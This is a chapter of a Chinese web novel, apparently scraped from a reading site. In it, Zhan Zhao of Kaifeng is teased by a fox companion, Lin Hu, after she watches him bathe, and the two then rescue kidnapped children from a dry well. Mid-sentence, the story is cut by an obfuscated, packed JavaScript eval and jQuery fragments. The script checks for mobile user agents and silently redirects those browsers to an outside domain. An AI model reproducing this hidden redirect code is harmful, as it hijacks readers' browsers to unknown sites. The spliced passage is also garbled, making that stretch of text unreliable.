默认冷灰
24号文字
方正启体

3. 枯井里的老鼠劫(一)

作者:姜里个姜本书字数:K更新时间:
    月上中天时,展昭的房间里还亮着一盏孤灯。竹制屏风将房间隔出一角沐浴处,艾草的清香混着水汽漫过来,在雕花窗棂投下的月影里浮动。


    展昭解开绯红官袍的盘扣,那枚玳瑁带扣在灯下泛着温润的琥珀光,被他轻轻搁在榻边的矮几上。外袍滑落时带起一阵微风,露出里面月白中衣,他抬手摘下官帽,乌纱展脚轻轻晃动,随即与官袍一同叠放在矮几上,动作从容不迫。


    屏风后,木盆里的热水正冒着氤氲白雾。他褪去中衣,古铜色的脊背在月光下绷紧,像一块被精心打磨过的玉石。弯腰跨入木盆时,水花“泠泠”溅起,顺着肩头流畅的肌肉线条往下滑——水珠先是挂在锁骨的凹陷处,迟疑片刻,才沿着紧实的胸膛滚落,砸在水面上发出细碎的“嗒”声,像是谁在暗处轻叩玉磬。


    他抬手掬水浇在颈后,黑发被浸湿,贴在肌理分明的后颈,水珠顺着脊椎的沟壑蜿蜒,没入腰侧时,带起一阵极轻的痒意。指尖划过手臂时,能触到常年握剑磨出的薄茧,与水流的滑腻交织在一起,竟生出几分奇异的缱绻。


    林狐原本蹲在榻角,此刻却像被磁石吸住般,爪子踩着地毯悄咪咪挪到屏风边。她本是困极了的,可那水流声像带着钩子,勾得她忍不住扒着屏风缝往里瞧——


    展昭正仰头靠在盆沿,喉结滚动着吐出水汽,脖颈的线条拉得极长,像一张蓄势待发的弓。一滴水珠挂在他下颌线,迟迟不肯落下,在灯光下亮得像颗碎钻。他抬手去擦时,手腕翻转间,肱二头肌绷起流畅的弧度,水珠便趁机钻进他敞开的衣襟,顺着腰线滑进更深的阴影里。


    “咕咚。”林狐又咽了口唾沫,尾巴尖不受控制地翘了起来。这哪是洗澡?这分明是话本里写的“玉人临波”,就是比画里多了几分活生生的力量感,像出鞘的剑,锋芒藏在温润里。


    她看得太入神,爪子没抓稳,“啪”地拍在屏风竹骨上。


    屏风后的水流声戛然而止。


    “谁?”展昭的声音带着水汽的湿意,却依旧清亮,像冰棱撞在玉盘上。


    林狐吓得魂飞魄散,四爪并用往榻底钻,尾巴却卡在了屏风缝里,被她自己挣得“嗷嗷”叫。慌乱中,她好像听见屏风后传来一声极轻的笑,又好像是水流滴落的回音。


    等她终于把自己塞进榻底,就见展昭披着件月白浴袍走出来,乌发湿漉漉地搭在肩后,发梢的水珠滴在锁骨上,晕开一小片深色。他弯腰看着榻底那团抖个不停的灰毛,眼底还带着未褪尽的水汽:“出来吧,再钻就要沾一身灰了。”


    林狐缩着脖子往外挪,耳朵耷拉着,活像只做错事的狗。等她终于挪到展昭脚边,才敢抬头看——他浴袍的领口敞开着,能看见水珠顺着脖颈滑进衣襟,消失在那片古铜色的肌肤里。


    “偷看别人沐浴,该打。”展昭说着,却只是用手指轻轻弹了弹她的脑门,指尖带着水汽的凉意。


    林狐被弹得“嗷”一声,却突然壮起胆子,用脑袋蹭了蹭他的小腿。浴袍料子顺滑,沾着淡淡的艾草香,比官袍暖和多了。她心里的小算盘打得噼啪响:反正都被抓包了,不如蹭够本。


    展昭低头看着这只得寸进尺的狐狸,无奈地叹了口气。他伸手拎起她的后颈,把她放在榻上,自己则坐到书案前擦头发。月光透过窗棂落在他侧脸,浴后的皮肤泛着健康的光泽,乌发与月白浴袍衬在一起,竟比穿绯红官袍时多了几分柔和。


    林狐趴在榻边,看着他用布巾擦头发的动作——手腕转动间,浴袍袖子滑下去,露出小臂结实的肌肉,水珠顺着发梢落在他手背上,又滚进袖口的阴影里。她突然觉得,这冰块脸好像也没那么讨厌,至少……比烧鸡好看。


    后半夜的风从窗棂钻进来,卷着槐树叶的影子落在床榻边。林狐被冻得打了个哆嗦,迷迷糊糊地往暖和的地方拱,鼻尖蹭到一片温热的绯红布料,带着皂角与阳光晒过的暖意。她下意识地把脸埋进去,爪子还扒住那料子蹭了蹭,像只贪暖的猫。


    “唔……”


    头顶传来一声压抑的低吟,随即有只手轻轻按在她后颈。那力道不重,却带着不容置疑的约束,把她往床内侧推了推。林狐不满地甩甩尾巴,扫在那只手的手背上,毛茸茸的触感换来指尖微不可查的一颤。


    她这才彻底醒了。


    展昭的房间比她想象中还要素净。青灰色的帐幔垂在床沿,床头摆着个旧木剑架,巨阙剑斜倚其上,剑鞘在月光下泛着冷光。靠墙的书案上堆着几卷卷宗,砚台里的墨汁已经凝了,旁边压着半张写了字的宣纸,笔锋凌厉,一看就是他的字迹。桌角放着他的绯红官帽,乌纱展脚微微上翘,帽顶的珠串在暗处闪着微光,旁边还搁着那枚玳瑁带扣,温润的色泽在月色里格外显眼。


    而她,正蜷在展昭脚边的床榻角落,身上盖着他的绯红官袍。那料子挺括,带着阳光晒过的暖意,还残留着他身上清冽的皂角香,让她莫名觉得安心。


    展昭就坐在床沿,背对着她,似乎在看卷宗。月光勾勒出他挺拔的肩线,乌发用一根玳瑁簪束着,那温润的色泽在黑发间格外显眼,几缕碎发垂在颈后,随着他低头的动作轻轻晃动。


    林狐的心跳没来由地漏了一拍。


    她悄悄支起身子,用爪子扒拉着那件官袍,一点点往他身边挪。藏狐的爪子踩在被褥上几乎没声音,她很快就挪到了他身后,尾巴好奇地探过去,轻轻勾了勾他束发的玳瑁簪。那冰凉温润的触感让她忍不住多碰了两下。


    展昭的动作顿了顿,没回头,只是低声道:“安分睡觉。”


    “睡不着。”林狐心里嘀咕,尾巴却没停,反而顺着他的脊背往下滑,扫过他腰间那枚玳瑁带扣的轮廓。她能感觉到他瞬间绷紧的身体,像拉满的弓弦。


    真好玩。


    她像发现了新游戏的猫,用尾巴尖一下下撩拨他的后颈。那里的皮肤薄,绒毛扫过,总能换来他细微的战栗。她甚至得寸进尺地站起来,前爪搭在他的肩膀上,伸长脖子去闻他发间的味道——比官袍上的皂角香更清醇,还混着点松烟墨的气息。


    “嗷呜~”她故意发出软乎乎的叫声,心里却在笑:看你能忍到什么时候。


    展昭终于放下了卷宗,转过身来。他的眼神在月光下显得格外深邃,落在她身上时,带着点无奈,又有点……说不清道不明的复杂。


    “林狐。”他叫她的名字,声音比平时沉了些。


    林狐非但不怕,反而得寸进尺地往他怀里钻,毛茸茸的肚子贴着他的手腕,爪子还想去扒他手里的卷宗。“你在看什么呀?带我一起看嘛。”


    展昭伸手按住她的脑袋,不让她乱动。他的掌心温热,带着常年练剑的薄茧,按在她的头顶,竟让她有些昏昏欲睡。但她才不想睡,她偏要闹。


    她突然张开嘴,用没尖的牙轻轻啃了啃他的手指。


    展昭的呼吸猛地一滞。


    指尖传来柔软的触感,带着点湿润的暖意,不像撕咬,更像……撒娇?他的耳根瞬间泛起薄红,猛地抽回手,动作快得有些狼狈。


    “你再闹,就把你扔出去。”他的声音有点发紧,眼神却不敢看她,落在了床脚的阴影里。


    林狐看着他泛红的耳根,心里的小人儿叉腰狂笑。原来这冰块脸也有脸红的时候!她得意地甩了甩尾巴,还想再逗逗他,却见展昭突然伸手,一把将她捞进怀里,用那件绯红官袍裹了个严实,只露出一颗毛茸茸的脑袋。


    “唔!放开我!”她在袍子里挣扎,爪子蹬得布料窸窣作响。


    “安分点,否则明天没烧鸡吃。”展昭的声音从头顶传来,带着一丝不易察觉的笑意。


    烧鸡?!


    林狐瞬间不动了。为了烧鸡,她暂时忍了!


    ***开封府的早市早已热闹起来。


    青石板路上挤满了行人,挑着担子的小贩吆喝着穿过人群,卖早点的铺子前飘着蒸腾的热气,油条、豆浆、包子的香气混着胭脂水粉的味道,在空气中弥漫开来。


    展昭拎着林狐,走在熙熙攘攘的街道上。他一身绯红官袍在人群中格外显眼,乌纱帽的展脚随着他的步伐轻轻晃动,引得不少姑娘偷偷掀起帘子或探出窗棂偷看。而他手里拎着的那只灰扑扑的狐狸,更是成了焦点。


    “快看,那不是展护卫吗?他这身绯红官袍真精神!”


    “怀里怎么拎着只狐狸?那狐狸好丑啊,尖嘴猴腮的。”


    “你懂什么,这叫特别!没看见展护卫都不嫌弃它吗?”


    林狐听到这些议论,气得想扑上去咬人。她哪里丑了?她这叫独特!是行走的表情包!她使劲蹬了蹬腿,想冲那些人龇牙,却被展昭牢牢按住。


    “安分点。”他低声警告,然后拐进了一家卖熟食的铺子。


    “老板,来只烧鸡。”


    “好嘞,展护卫!”老板麻利地称了只油光锃亮的烧鸡,金黄脆皮上还滴着油,用荷叶包好递过来,“刚出炉的,香得很!”


    展昭付了钱,把荷叶包递到林狐面前。


    林狐的眼睛瞬间亮了,口水差点流下来。她迫不及待地扑上去,用爪子撕开荷叶,埋头啃了起来。烧鸡的香气浓郁,皮脆肉嫩,吃得她满嘴流油,连尾巴都快乐地摇了起来。


    展昭看着她这副狼吞虎咽的样子,无奈地摇摇头,找了个路边的石阶坐下,等她吃完。阳光照在他身上,暖洋洋的,他微微眯起眼睛,看着街上往来的行人,脑子里却在思索着拐卖孩子的案子。


    昨天巡逻时,他在城西的破庙里发现了几个孩子的脚印,还有一个被丢弃的拨浪鼓。据附近的居民说,最近已经有好几个孩子失踪了,都是在傍晚时分不见的。


    线索太少,查起来很困难。


    林狐很快就把一只烧鸡啃得干干净净,连骨头缝里的肉丝都没剩下。她舔了舔爪子上的油,满足地打了个饱嗝,然后跳到展昭的腿上,蜷成一团晒太阳。


    “接下来去哪儿啊?”她懒洋洋地问。


    “去城西。”展昭站起身,把她拎起来,揣进怀里,那绯红的官袍被撑起一个小小的弧度,“带你去查案。”


    “查案?就是你昨天说的拐卖孩子的案子?”林狐来了精神,在他怀里挣扎着想要出来,“我跟你说,我鼻子可灵了,说不定能帮上忙!”


    展昭没说话,只是加快了脚步。


    城西的街道明显比市中心冷清了许多,房屋也破旧了不少。路边堆着杂物,墙角结着蛛网,偶尔有几个衣衫褴褛的乞丐蜷缩在角落里,眼神麻木。


    展昭仔细地观察着周围的环境,时不时停下来,询问路边的居民。但大家似乎都很害怕,摇着头说不知道。


    林狐在他怀里也没闲着,她竖着耳朵,仔细听着周围的动静,鼻子不停


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268095|182176||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地嗅着。突然,她闻到了一股奇怪的味道——像是铁锈和腐烂的气息,还混着一丝若有若无的孩子的哭声。


    “展昭,那边!”她用爪子指着不远处的一条小巷,“那边有奇怪的味道,还有孩子的哭声!”


    展昭眼神一凛,立刻朝着那条小巷走去。


    小巷很深,光线昏暗,墙壁上布满了青苔。越往里走,那股奇怪的味道就越浓,孩子的哭声也越来越清晰。走到巷子尽头,是一口枯井,井口用一块破旧的木板盖着,哭声就是从井里传出来的。


    展昭走过去,掀开木板。一股浓重的潮气混杂着霉味扑面而来,井里黑漆漆的,深不见底,只能隐约听到下面传来微弱的哭声。


    “下面有人。”展昭沉声道,眼神变得凝重起来。


    他四处看了看,发现井边有一根粗麻绳,应该是用来下井的。他把麻绳系在旁边的一棵老槐树上,试了试结实程度,然后准备下去。


    “等等!”林狐突然从他怀里跳出来,“我先下去看看!我身子小,灵活!”


    “不行,太危险了。”展昭立刻拒绝。


    “有什么危险的?我可是狐狸!爬个井还不容易?”林狐说着,就想往井里跳。


    展昭一把抓住她的后颈,把她拎了起来。“听话。”


    “我不!”林狐挣扎着,“我能帮你!让我下去嘛!”


    展昭看着她急切的眼神,又看了看黑漆漆的井口,最终还是妥协了。“好吧,但你要小心,有什么情况立刻告诉我。”


    他把林狐放到井边,解开系在树上的麻绳,递到她面前。“抓住绳子,慢慢下去。”


    林狐点点头,用爪子紧紧抓住麻绳,一点一点地往下爬。井壁很滑,长满了青苔,她爬得很费劲,但一想到下面可能有孩子等着救援,她就咬紧牙关坚持着。


    展昭站在井口,紧紧盯着下面,心都提到了嗓子眼。他能听到绳子摩擦井壁的声音,还有林狐偶尔发出的“嗷呜”声,心里暗暗祈祷她不要出事。


    就在这时,井里突然传来林狐的一声惊呼:“展昭!快来!这里有孩子!好多孩子!还有……他们说‘头儿’今晚要来转移人!”


    展昭心里一紧,立刻抓住麻绳,纵身跳了下去。


    井不算太深,他很快就触到了井底的淤泥。潮湿的空气里弥漫着浓重的霉味,几只硕大的老鼠被惊动,吱吱叫着窜进黑暗的角落。借着从井口透进来的微光,他看到角落里蜷缩着四五个孩子,最大的不过七八岁,最小的看起来才刚会走路,都吓得瑟瑟发抖。林狐正蹲在孩子们面前,用脑袋轻轻蹭着一个小姑娘的手,试图安抚他们。


    “官爷……”一个大点的男孩认出了他身上的绯红官袍,带着哭腔开口,“我们、我们是被人抓来的……他们说等凑够十个,就、就把我们卖到南边去……”


    展昭的心沉了下去。看来这不是个案,背后定然牵扯着一个拐卖团伙。他蹲下身,尽量让自己的声音听起来温和:“别怕,我是开封府的展昭,现在就带你们出去。”


    他先把林狐托上去,让她给上面闻讯赶来的衙役报信,然后开始挨个抱起孩子,顺着麻绳往上送。孩子们吓得紧紧抓住他的官袍,小小的手拽着绯红的布料,像是抓住了最后一根救命稻草。


    等最后一个孩子被送上去,展昭才顺着绳子爬出枯井。晨曦落在他的绯红官袍上,驱散了井底的潮气,却驱不散他眉宇间的凝重。


    “展护卫!”一个衙役匆匆跑来,手里押着个哆哆嗦嗦的汉子,“这是在附近草堆里抓到的,看样子是看守的!”


    那汉子穿着粗布短打,脸膛黝黑,看到展昭的官袍就“噗通”一声跪了下来,连连磕头:“官爷饶命!小的只是个跑腿的!都是上面的人指使的!”


    展昭居高临下地看着他,眼神锐利如剑:“上面的人是谁?他们什么时候来转移孩子?”


    汉子眼神闪烁,支支吾吾地说:“小的不知道……小的只负责看着井口,其他的事一概不知啊……”


    展昭冷哼一声,知道从这等小喽啰嘴里问不出太多实情。他挥挥手:“先带回开封府严加审讯。”


    林狐跑到他身边,用脑袋蹭了蹭他的腿,邀功似的问:“怎么样,我厉害吧?”


    展昭看着她满身的泥污,还有鼻尖沾着的青苔,无奈地笑了笑。“厉害。”他伸手想把她抱起来,却发现她的爪子上还挂着根老鼠尾巴——想来是刚才在井底跟老鼠搏斗的“战利品”。


    “……”展昭的额角抽了抽。


    林狐似乎才发现自己挂了彩头,得意地甩了甩爪子:“看!我帮孩子们赶老鼠了!”


    展昭没说话,只是认命地替她摘了老鼠尾巴,然后弯腰将她抱起,揣进怀里。怀里的小身子还在微微发抖,想来刚才在井底也受了惊吓。


    “走,先带回开封府。”他对衙役们吩咐道,声音里带着不容置疑的威严。


    阳光穿过老槐树的枝叶,在他的绯红官袍上投下斑驳的光影。林狐窝在他怀里,闻着熟悉的皂角香混着淡淡的霉味(想来是刚从井底出来沾的),突然觉得,跟着这冰块脸办案,好像也没那么无聊。


    只是她不知道,这口枯井里藏着的,仅仅是这场阴谋的冰山一角。真正的头目仍在暗处,像毒蛇一样窥伺着下一个目标,而他们与这伙人的较量,才刚刚开始。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)